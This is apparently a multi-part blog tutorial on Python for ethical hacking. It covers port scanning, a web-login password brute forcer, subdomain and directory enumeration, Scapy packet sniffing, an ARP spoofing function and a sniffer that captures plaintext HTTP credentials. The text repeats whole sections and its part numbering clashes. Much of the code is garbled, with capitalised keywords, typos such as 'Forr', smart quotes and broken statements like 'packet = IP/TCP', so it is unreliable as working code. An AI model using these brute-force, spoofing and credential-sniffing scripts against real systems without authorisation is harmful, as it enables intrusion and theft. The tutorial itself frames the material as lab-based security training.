Getting Started with Python for Hackers

Python has emerged as one of the most valuable tools in a hacker’s arsenal. It is simple to learn, versatile, and supported by a wide array of libraries that assist in tasks ranging from automation to vulnerability scanning. In ethical hacking and penetration testing, scripting languages allow security professionals to create custom tools, test exploits, and automate redundant tasks. This first article in the four-part series will introduce you to Python from a hacker’s perspective, covering its installation, first script, and some essential concepts that will prepare you for more advanced uses in future parts.

Why Python Is Crucial for Hackers

Python is the preferred programming language in cybersecurity because of its flexibility and readability. Its syntax is clean and straightforward, making it accessible even to those with a minimal programming background. For hackers, especially those focused on ethical hacking and penetration testing, this accessibility allows for rapid development of scripts that can automate tasks such as reconnaissance, brute-forcing, packet sniffing, or vulnerability identification.

In penetration testing, a custom script can often achieve what would require multiple tools. By writing your utilities in Python, you can tailor them precisely to your target environment and scenario. This also encourages a deeper understanding of how systems communicate and where vulnerabilities might lie.

Installing Python on Your System

Before writing your first script, ensure Python is properly installed. Most Linux distributions already include Python 3 by default, but it is important to confirm and update as needed.

On Linux (Ubuntu/Debian-based)

Open a terminal and execute:

sudo apt update

sudo apt install python3 python3-pip

Check the installed version:

python3 –version

On Windows

Visit the official Python website and download the latest version of Python 3. Run the installer and ensure that the checkbox for adding Python to the system PATH is selected. After installation, confirm with:

python– version

On macOS

Use Homebrew to install Python:

Brew install python

Verify the installation:

python3 –version

Your First Python Script

The best way to learn Python for hacking is by writing code that performs practical, security-relevant tasks. Start with a simple TCP port scanner. This script uses the socket module, a fundamental library for any hacker dealing with networking.

Create a new file named port_scanner.py and enter the following code:

import socket

 

target = input(“Enter target IP address: “)

ports = [21, 22, 23, 25, 53, 80, 110, 443, 3306]

 

print(f”Scanning {target}…”)

 

For ports in ports:

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(1)

    result = sock.connect_ex((target, port))

    if result == 0:

        print(f”Port {port} is open”)

    sock.close()

Run the script in your terminal:

python3 port_scanner.py

This scanner attempts to connect to a predefined list of common ports. It prints which ones are open on the target host. This is a basic example of reconnaissance using Python.

Breaking Down the Code

The socket module provides access to the network interface. The script creates a TCP socket and tries to connect to each port. The method connect_ex returns 0 if the connection is successful. The settimeout method ensures the program does not hang indefinitely when a port is closed or filtered.

While simplistic, this script introduces important concepts: initiating connections, handling timeouts, and iterating through ports. In future parts, you will build upon this to include service detection, multithreading, and error handling.

Making the Scanner Dynamic

To make the script more flexible, allow user input for port ranges. Update the script as follows:

import socket

 

target = input(“Enter target IP: “)

start_port = int(input(“Start port: “))

end_port = int(input(“End port: “))

 

print(f”Scanning {target} from port {start_port} to {end_port}…”)

 

for port in range(start_port, end_port + 1):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(0.5)

    result = sock.connect_ex((target, port))

    if result == 0:

        print(f”Port {port} is open”)

    sock.close()

This enhancement allows scanning of a broader range and can be tailored for different penetration testing scenarios.

Python Libraries for Hacking

As you grow comfortable with writing basic scripts, begin exploring powerful third-party libraries. The following will play important roles in automating tasks:

  • requests: For sending HTTP requests and interacting with web applications
  • scapy: For packet manipulation and sniffing
  • nmap: For controlling Nmap scans through Python
  • paramiko: For SSH connectivity and brute-forcing

These libraries help in building more advanced utilities that go beyond simple scanning and venture into vulnerability assessment and even exploit creation.

Building a Lab Environment

To safely test your scripts, create a virtual lab. Use virtualization software like VirtualBox or VMware to run multiple systems in a controlled environment. You can install Linux distributions such as Kali Linux for your attacker machine and Metasploitable, DVWA, or other vulnerable systems for testing.

Setting up such a lab ensures you do not accidentally disrupt real networks while learning offensive security techniques. It also provides a platform to experiment freely without legal concerns.

Essential Python Concepts for Hackers

Before diving deeper into scripting for hacking, reinforce your foundation in the following Python concepts:

  • Functions and modular code design
  • Working with files (reading/writing logs or results)
  • Exception handling (try/except blocks)
  • Loops and conditional statements
  • List comprehensions
  • Using external libraries with pip

Mastery of these topics will allow you to write cleaner and more effective scripts, especially when dealing with larger projects like bruteforcers, scanners, or botnets.

This introduction is the first step toward becoming proficient in Python for hacking. You now understand how to set up your environment, write a basic script, and use the socket library to perform reconnaissance. You also know the next logical steps: building more complex tools, learning external libraries, and setting up a safe testing environment.

In the next part of this series, we will focus on reconnaissance automation. This includes writing scripts that crawl websites, extract metadata, enumerate subdomains, and identify key technologies used by the target.

Every great hacker starts with a foundation. Mastering Python is not just about coding but about thinking creatively, automating tedious tasks, and adapting to various scenarios. By writing your tools, you become less reliant on others and more capable of responding to novel challenges in penetration testing.

Getting Started with Python for Hackers

Python has emerged as one of the most valuable tools in a hacker’s arsenal. It is simple to learn, versatile, and supported by a wide array of libraries that assist in tasks ranging from automation to vulnerability scanning. In ethical hacking and penetration testing, scripting languages allow security professionals to create custom tools, test exploits, and automate redundant tasks. This first article in the four-part series will introduce you to Python from a hacker’s perspective, covering its installation, first script, and some essential concepts that will prepare you for more advanced uses in future parts.

Why Python Is Crucial for Hackers

Python is the preferred programming language in cybersecurity because of its flexibility and readability. Its syntax is clean and straightforward, making it accessible even to those with a minimal programming background. For hackers, especially those focused on ethical hacking and penetration testing, this accessibility allows for rapid development of scripts that can automate tasks such as reconnaissance, brute-forcing, packet sniffing, or vulnerability identification.

In penetration testing, a custom script can often achieve what would require multiple tools. By writing your utilities in Python, you can tailor them precisely to your target environment and scenario. This also encourages a deeper understanding of how systems communicate and where vulnerabilities might lie.

Installing Python on Your System

Before writing your first script, ensure Python is properly installed. Most Linux distributions already include Python 3 by default, but it is important to confirm and update as needed.

On Linux (Ubuntu/Debian-based)

Open a terminal and execute:

sudo apt update

sudo apt install python3 python3-pip

 

Check the installed version:

python3 –version

 

On Windows

Visit the official Python website and download the latest version of Python 3. Run the installer and ensure that the checkbox for adding Python to the system PATH is selected. After installation, confirm with:

python– version

 

On macOS

Use Homebrew to install Python:

Brew install python

 

Verify the installation:

python3 –version

 

Your First Python Script

The best way to learn Python for hacking is by writing code that performs practical, security-relevant tasks. Start with a simple TCP port scanner. This script uses the socket module, a fundamental library for any hacker dealing with networking.

Create a new file named port_scanner.py and enter the following code:

import socket

 

target = input(“Enter target IP address: “)

ports = [21, 22, 23, 25, 53, 80, 110, 443, 3306]

 

print(f”Scanning {target}…”)

 

For ports in ports:

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(1)

    result = sock.connect_ex((target, port))

    if result == 0:

        print(f”Port {port} is open”)

    sock.close()

 

Run the script in your terminal:

python3 port_scanner.py

 

This scanner attempts to connect to a predefined list of common ports. It prints which ones are open on the target host. This is a basic example of reconnaissance using Python.

Breaking Down the Code

The socket module provides access to the network interface. The script creates a TCP socket and tries to connect to each port. The method connect_ex returns 0 if the connection is successful. The settimeout method ensures the program does not hang indefinitely when a port is closed or filtered.

While simplistic, this script introduces important concepts: initiating connections, handling timeouts, and iterating through ports. In future parts, you will build upon this to include service detection, multithreading, and error handling.

Making the Scanner Dynamic

To make the script more flexible, allow user input for port ranges. Update the script as follows:

import socket

 

target = input(“Enter target IP: “)

start_port = int(input(“Start port: “))

end_port = int(input(“End port: “))

 

print(f”Scanning {target} from port {start_port} to {end_port}…”)

 

for port in range(start_port, end_port + 1):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.settimeout(0.5)

    result = sock.connect_ex((target, port))

    if result == 0:

        print(f”Port {port} is open”)

    sock.close()

 

This enhancement allows scanning of a broader range and can be tailored for different penetration testing scenarios.

Python Libraries for Hacking

As you grow comfortable with writing basic scripts, begin exploring powerful third-party libraries. The following will play important roles in automating tasks:

  • Requests: For sending HTTP requests and interacting with web applications

  • scapy: For packet manipulation and sniffing

  • Nmap: For controlling Nmap scans through Python

  • paramiko: For SSH connectivity and brute-forcing

These libraries help in building more advanced utilities that go beyond simple scanning and venture into vulnerability assessment and even exploit creation.

Building a Lab Environment

To safely test your scripts, create a virtual lab. Use virtualization software like VirtualBox or VMware to run multiple systems in a controlled environment. You can install Linux distributions such as Kali Linux for your attacker machine and Metasploitable, DVWA, or other vulnerable systems for testing.

Setting up such a lab ensures you do not accidentally disrupt real networks while learning offensive security techniques. It also provides a platform to experiment freely without legal concerns.

Essential Python Concepts for Hackers

Before diving deeper into scripting for hacking, reinforce your foundation in the following Python concepts:

  • Functions and modular code design

  • Working with files (reading/writing logs or results)

  • Exception handling (try/except blocks)

  • Loops and conditional statements

  • List comprehensions

  • Using external libraries with pip

Mastery of these topics will allow you to write cleaner and more effective scripts, especially when dealing with larger projects like bruteforcers, scanners, or botnets.

This introduction is the first step toward becoming proficient in Python for hacking. You now understand how to set up your environment, write a basic script, and use the socket library to perform reconnaissance. You also know the next logical steps: building more complex tools, learning external libraries, and setting up a safe testing environment.

In the next part of this series, we will focus on reconnaissance automation. This includes writing scripts that crawl websites, extract metadata, enumerate subdomains, and identify key technologies used by the target.

Every great hacker starts with a foundation. Mastering Python is not just about coding but about thinking creatively, automating tedious tasks, and adapting to various scenarios. By writing your tools, you become less reliant on others and more capable of responding to novel challenges in penetration testing.

Getting Started with Python for Hackers:

After automating reconnaissance, the next milestone in your Python hacking journey is learning how to build custom tools. This part of the series focuses on constructing purpose-built utilities for ethical hacking tasks. Whether you are creating a brute-force password cracker or an HTTP header analyzer, developing your tools improves your understanding of how attacks work and gives you the flexibility to adapt them to different environments.

Writing a Password Brute Forcer

One of the most common use cases in penetration testing is attempting to gain unauthorized access by trying multiple username and password combinations. To illustrate this concept, let’s write a basic brute forcefor web forms.

import requests

 

url = “http://example.com/login”

username = “admin”

password_list = [“123456”, “admin”, “password”, “letmein”]

 

For password in password_list:

    data = {“username”: username, “password”: password}

    response = requests.post(url, data=data)

    If “Login successful” is in the response.text:

        print(f”Password found: {password}”)

        break

    Else:

        print(f”Tried: {password}”)

 

This script sends POST requests with different passwords to a login page. If the correct password is found, it stops. While simplistic, this example introduces key ideas in crafting brute-force tools.

Enhancing with External Files

Often, wordlists are too large to include in the script. You can modify the above example to read passwords from a file:

With open(“wordlist.txt”, “r”) as file:

    For line in file:

        Password = line.strip()

        # Proceed with request logic

 

Using external files makes your tools more flexible and allows you to scale them without modifying the code.

Building a Subdomain Enumerator

Subdomain enumeration is a critical task in reconnaissance. You can automate it using Python to detect subdomains of a target domain by making HTTP requests and checking for successful responses.

import requests

 

subdomains = [“www”, “mail”, “ftp”, “test”]

domain = “example.com”

 

For sub in subdomains:

    url = f”http://{sub}.{domain}”

    Try:

        Response = requests.get(url, timeout=2)

        print(f”Discovered subdomain: {url}”)

    Except requests.ConnectionError:

        pass

 

You can further expand this script to read subdomains from a file, handle HTTPS, or include error logging.

Understanding HTTP Headers

Sometimes, simply analyzing the headers returned by a web server can give you valuable insights. Headers may reveal server versions, technologies used, or even misconfigurations.

import requests

 

url = “http://example.com”

response = requests.get(url)

 

For the header, the value in the response. headers.items():

    print(f”{header}: {value}”)

 

This tool helps you identify potential attack vectors and misconfigurations during the enumeration phase of a penetration test.

Creating a Directory Brute Forcer

Another effective technique is discovering hidden directories on a website. A simple script can attempt common directory names by appending them to the base URL and checking the response.

import requests

 

url = “http://example.com/”

directories = [“admin”, “login”, “uploads”, “config”]

Forr dir in directories:

    full_url = url + dir + “/”

    Response = requests.get(full_url)

    if response.status_code == 200:

        print(f”Found directory: {full_url}”)

 

This tool mimics basic functionality found in directory fuzzing tools and introduces logic that can be extended with multithreading.

Using Argparse for Command-Line Arguments

Rather than hardcoding values like URLs and file paths, you can use the argparse module to accept command-line inputs. This makes your tools easier to reuse in different environments.

import argparse

 

parser = argparse.ArgumentParser()

parser.add_argument(“-u”, “–url”, help=”Target URL”)

parser.add_argument(“-w”, “–wordlist”, help=”Wordlist path”)

args = parser.parse_args()

 

print(f”Scanning {args.url} using wordlist {args.wordlist}”)

 

Adding argument parsing turns your script into a flexible command-line utility that can be used like traditional hacking tools.

Logging and Output Files

Recording your results is essential for later analysis and reporting. Python makes it easy to write your findings to a file:

With open(“results.txt”, “a”) as log:

    log.write(f”Found open port: {port}\n”)

 

You can also timestamp entries or log HTTP responses for later inspection. This habit improves professionalism in penetration testing engagements.

Error Handling with Try/Except

When building custom tools, it’s important to anticipate and handle errors gracefully. Network timeouts, invalid inputs, or permission issues can all be managed using try/except blocks.

Try:

    Response = requests.get(“http://example.com”)

Except requests.RequestException as e:

    print(f”Error: {e}”)

 

Catching exceptions helps your tool avoid crashing unexpectedly and allows you to provide helpful output to the user.

Expanding with Multithreading

To increase the speed of tasks like brute-forcing or scanning, consider using multithreading. The threading module lets you run multiple tasks in parallel, significantly improving performance.

import threading

, import requests

 

urls = [“http://example.com/page1”, “http://example.com/page2”]

 

def fetch(url):

    try:

        Response = requests.get(url)

        print(f”Fetched: {url}”)

    Except:

        pass

 

threads = []

for url in urls:

    t = threading.Thread(target=fetch, args=(url,))

    threads.append(t)

    t.start()

 

For t in threads:

    t.join()

 

With multithreading, your scripts can complete large tasks more efficiently, especially when interacting with remote servers.

Practicing Responsibly

When testing custom tools, always use your own controlled lab environment. Never test scripts on websites or networks you do not own or have explicit permission to test. Use virtual machines, vulnerable environments, and intentionally insecure applications to validate your tools.

This approach keeps your learning ethical and prevents legal consequences. Practicing in a lab also provides you with a stable testing ground to refine and debug your scripts.

In this part, you learned how to develop custom tools in Python tailored for ethical hacking tasks. From brute-force password attacks to subdomain enumeration and directory discovery, each script adds a new layer of functionality to your toolkit. You’ve also been introduced to best practices such as argument parsing, logging, error handling, and multithreading.

Next, we will explore network packet analysis and packet crafting using advanced libraries. You’ll dive into how Python interacts with lower-level network protocols to create tools like sniffers and injectors, giving you even greater control during penetration testing.

Writing your tools reinforces your understanding of cybersecurity concepts. It also sets you apart as someone who not only uses tools but also builds them, a valuable skill in both offensive and defensive security roles.

After automating reconnaissance, the next milestone in your Python hacking journey is learning how to build custom tools. This part of the series focuses on constructing purpose-built utilities for ethical hacking tasks. Whether you are creating a brute-force password cracker or an HTTP header analyzer, developing your tools improves your understanding of how attacks work and gives you the flexibility to adapt them to different environments.

Writing a Password Brute Forcer

One of the most common use cases in penetration testing is attempting to gain unauthorized access by trying multiple username and password combinations. To illustrate this concept, let’s write a basic brute force for web forms.

import requests

 

url = “http://example.com/login”

username = “admin”

password_list = [“123456”, “admin”, “password”, “letmein”]

 

For password in password_list:

    data = {“username”: username, “password”: password}

    response = requests.post(url, data=data)

    If “Login successful” is in the response.text:

        print(f”Password found: {password}”)

        break

    Else:

        print(f”Tried: {password}”)

This script sends POST requests with different passwords to a login page. If the correct password is found, it stops. While simplistic, this example introduces key ideas in crafting brute-force tools.

Enhancing with External Files

Often, wordlists are too large to include in the script. You can modify the above example to read passwords from a file:

With open(“wordlist.txt”, “r”) as file:

    For line in file:

        Password = line.strip()

        # Proceed with request logic

Using external files makes your tools more flexible and allows you to scale them without modifying the code.

Building a Subdomain Enumerator

Subdomain enumeration is a critical task in reconnaissance. You can automate it using Python to detect subdomains of a target domain by making HTTP requests and checking for successful responses.

import requests

 

subdomains = [“www”, “mail”, “ftp”, “test”]

domain = “example.com”

 

For sub in subdomains:

    url = f”http://{sub}.{domain}”

    Try:

        Response = requests.get(url, timeout=2)

        print(f”Discovered subdomain: {url}”)

    Except requests.ConnectionError:

        pass

You can further expand this script to read subdomains from a file, handle HTTPS, or include error logging.

Understanding HTTP Headers

Sometimes, simply analyzing the headers returned by a web server can give you valuable insights. Headers may reveal server versions, technologies used, or even misconfigurations.

import requests

 

url = “http://example.com”

response = requests.get(url)

 

For the header, the value in the response.  headers.items():

    print(f”{header}: {value}”)

This tool helps you identify potential attack vectors and misconfigurations during the enumeration phase of a penetration test.

Creating a Directory Brute Forcer

Another effective technique is discovering hidden directories on a website. A simple script can attempt common directory names by appending them to the base URL and checking the response.

import requests

 

url = “http://example.com/”

directories = [“admin”, “login”, “uploads”, “config”]

 

For dir in directories:

    full_url = url + dir + “/”

    Response = requests.get(full_url)

    if response.status_code == 200:

        print(f”Found directory: {full_url}”)

This tool mimics basic functionality found in directory fuzzing tools and introduces logic that can be extended with multithreading.

Using Argparse for Command-Line Arguments

Rather than hardcoding values like URLs and file paths, you can use the argparse module to accept command-line inputs. This makes your tools easier to reuse in different environments.

import argparse

 

parser = argparse.ArgumentParser()

parser.add_argument(“-u”, “–url”, help=”Target URL”)

parser.add_argument(“-w”, “–wordlist”, help=”Wordlist path”)

args = parser.parse_args()

 

print(f”Scanning {args.url} using wordlist {args.wordlist}”)

Adding argument parsing turns your script into a flexible command-line utility that can be used like traditional hacking tools.

Logging and Output Files

Recording your results is essential for later analysis and reporting. Python makes it easy to write your findings to a file:

With open(“results.txt”, “a”) as log:

    log.write(f”Found open port: {port}\n”)

You can also timestamp entries or log HTTP responses for later inspection. This habit improves professionalism in penetration testing engagements.

Error Handling with Try/Except

When building custom tools, it’s important to anticipate and handle errors gracefully. Network timeouts, invalid inputs, or permission issues can all be managed using try/except blocks.

Try:

    Response = requests.get(“http://example.com”)

Except requests.RequestException as e:

    print(f”Error: {e}”)

Catching exceptions helps your tool avoid crashing unexpectedly and allows you to provide helpful output to the user.

Expanding with Multithreading

To increase the speed of tasks like brute-forcing or scanning, consider using multithreading. The threading module lets you run multiple tasks in parallel, significantly improving performance.

import threading

, import requests

 

urls = [“http://example.com/page1”, “http://example.com/page2”]

 

def fetch(url):

    try:

        Response = requests.get(url)

        print(f”Fetched: {url}”)

    Except:

        pass

 

threads = []

for url in urls:

    t = threading.Thread(target=fetch, args=(url,))

    threads.append(t)

    t.start()

 

For t in threads:

    t.join()

With multithreading, your scripts can complete large tasks more efficiently, especially when interacting with remote servers.

Practicing Responsibly

When testing custom tools, always use your own controlled lab environment. Never test scripts on websites or networks you do not own or have explicit permission to test. Use virtual machines, vulnerable environments, and intentionally insecure applications to validate your tools.

This approach keeps your learning ethical and prevents legal consequences. Practicing in a lab also provides you with a stable testing ground to refine and debug your scripts.

In this part, you learned how to develop custom tools in Python tailored for ethical hacking tasks. From brute-force password attacks to subdomain enumeration and directory discovery, each script adds a new layer of functionality to your toolkit. You’ve also been introduced to best practices such as argument parsing, logging, error handling, and multithreading.

Next, we will explore network packet analysis and packet crafting using advanced libraries. You’ll dive into how Python interacts with lower-level network protocols to create tools like sniffers and injectors, giving you even greater control during penetration testing.

Writing your tools reinforces your understanding of cybersecurity concepts. It also sets you apart as someone who not only uses tools but also builds them, a valuable skill in both offensive and defensive security roles.

After building custom tools for web-based reconnaissance and attacks, the next frontier is the network layer. In Part 4 of this series, you’ll explore how to analyze and craft network packets using Python. Mastering this area allows ethical hackers to understand and manipulate the flow of data across networks, simulate attacks, and uncover vulnerabilities that exist below the application level.

Introduction to Scapy

One of the most powerful libraries for packet crafting and sniffing in Python is Scapy. Scapy allows users to construct packets from scratch, send them over the network, and analyze responses.

To install Scapy:

Pip install scapy

Let’s start with a basic example of creating and sending an ICMP packet (ping):

From scapy.all import *

 

packet = IP(dst=”8.8.8.8″)/ICMP()

response = sr1(packet, timeout=2)

 

If response:

    print(response.summary())

Else:

    print(“No response received”)

This code constructs an IP packet with an ICMP payload, sends it to 8.8.8.8, and waits for a reply. The sr1() function sends the packet and receives a single response.

Sniffing Packets on a Network

Sniffing is the process of capturing network traffic. With Scapy, you can capture live packets and inspect them.

From scapy.all import *

 

def packet_callback(packet):

    if packet.haslayer(IP):

        print(f”[+] Packet: {packet[IP].src} -> {packet[IP].dst}”)

 

sniff(prn=packet_callback, count=10)

This script listens for 10 packets and prints the source and destination IPs. You can modify the callback function to analyze or log packet details.

Filtering Traffic

You can capture only specific traffic by using BPF (Berkeley Packet Filter) syntax.

sniff(filter=”tcp and port 80″, prn=packet_callback, count=10)

This will capture only HTTP traffic, making your analysis more focused and efficient.

Analyzing Packet Layers

Each network packet consists of multiple layers. Scapy allows you to inspect and manipulate these layers:

packet = IP(dst=”1.1.1.1″)/TCP(dport=80)

packet.show()

The show() function displays detailed information about the packet’s structure, which helps in crafting and debugging complex packets.

Crafting TCP SYN Packets

A common scanning technique is a SYN scan, which sends a TCP packet with the SYN flag to probe for open ports.

From scapy.all import *

 

ip = IP(dst=”target_ip”)

tcp = TCP(dport=80, flags=”S”)

packet = IP/TCP

response = sr1(packet, timeout=1)

 

If response and response.haslayer(TCP):

    if response.getlayer(TCP).flags == 0x12:

        print(“Port is open”)

This basic TCP SYN scan can be extended to scan multiple ports or IPs by looping through ranges.

Building a Simple Packet Sniffer Logger

Let’s combine sniffing and logging into a tool that records packet metadata:

From scapy.all import *

import datetime

 

With open(“packets.log”, “a”) as logfile:

    def log_packet(packet):

        If packet.haslayer(IP):

            src = packet[IP].src

            dst = packet[IP].dst

            time = datetime.datetime.now()

            logfile.write(f”{time} – {src} -> {dst}\n”)

 

    sniff(prn=log_packet, count=50)

This script logs source and destination IPs along with timestamps into a file, useful for offline analysis.

Simulating ARP Spoofing

ARP spoofing is a method of intercepting traffic in a local network by sending fake ARP responses. It’s important to test this in a lab environment only.

From scapy.all import *

 

def arp_spoof(target_ip, spoof_ip):

    packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip)

    send(packet, verbose=False)

 

# arp_spoof(“192.168.1.10”, “192.168.1.1”)

This code tells the target that your machine is the gateway, enabling man-in-the-middle attacks if combined with packet forwarding and sniffing.

Capturing Credentials in Plain Text

In a controlled environment, you can use Scapy to sniff credentials sent over HTTP (unencrypted):

From scapy.all import *

 

def capture_http(packet):

    if packet.haslayer(Raw):

        payload = packet[Raw].load.decode(errors=’ignore’)

        If “username” in payload or “password” in payload:

            Print (“[+] Possible credentials found:”, payload)

sniff(filter=”tcp port 80″, prn=capture_http, store=0)

Such analysis emphasizes the importance of encryption in securing sensitive data.

Using AsyncSniffer for Background Sniffing

Scapy also offers AsyncSniffer for background packet sniffing while continuing other tasks: From scapy.all import AsyncSniffer

sniffer = AsyncSniffer(filter=”ip”, count=5)

sniffer.start()

sniffer.join()

packets = sniffer.results

 

For packet in packets:

    packet.show()

This method is great for integrating packet capture into larger tools or automated workflows.

Practicing Safely

As with all aspects of ethical hacking, never sniff or manipulate packets on networks without permission. Use virtual labs like TryHackMe, Hack The Box, or a local testbed with multiple virtual machines to practice safely.

 You learned how to use Python and Scapy to perform packet analysis and craft your network packets. These skills are fundamental for network penetration testing, intrusion detection, and understanding the protocols that power the internet.

With the ability to analyze and create custom packets, you’re now equipped to explore deeper aspects of cybersecurity, such as man-in-the-middle attacks, protocol fuzzing, and even building your own tools to test network defenses. This knowledge bridges the gap between theory and real-world offensive security techniques.

In the next part of the series, we will focus on automating attacks and defenses,  moving toward building frameworks that combine reconnaissance, exploitation, and reporting. Your journey into Python hacking is just getting more powerful.

Final Thoughts

As you close out this stage of your journey, reflect on how far you’ve come—from understanding Python basics to crafting and analyzing network packets. Packet manipulation isn’t just a technical skill; it’s a lens through which you can interpret and influence the behavior of network systems. Python gives you the flexibility to create tailored solutions for complex problems, which is critical in ethical hacking and cybersecurity.

Mastery of network-level interactions allows you to detect subtle vulnerabilities, understand how attacks unfold, and build more effective defenses. By practicing safely in controlled environments, you develop both skill and responsibility—two qualities every professional in this field must carry.

Your next steps involve combining everything you’ve learned into automated, strategic tools. With the foundational knowledge in place, you’re ready to build frameworks that reflect both technical sophistication and ethical awareness.

 

img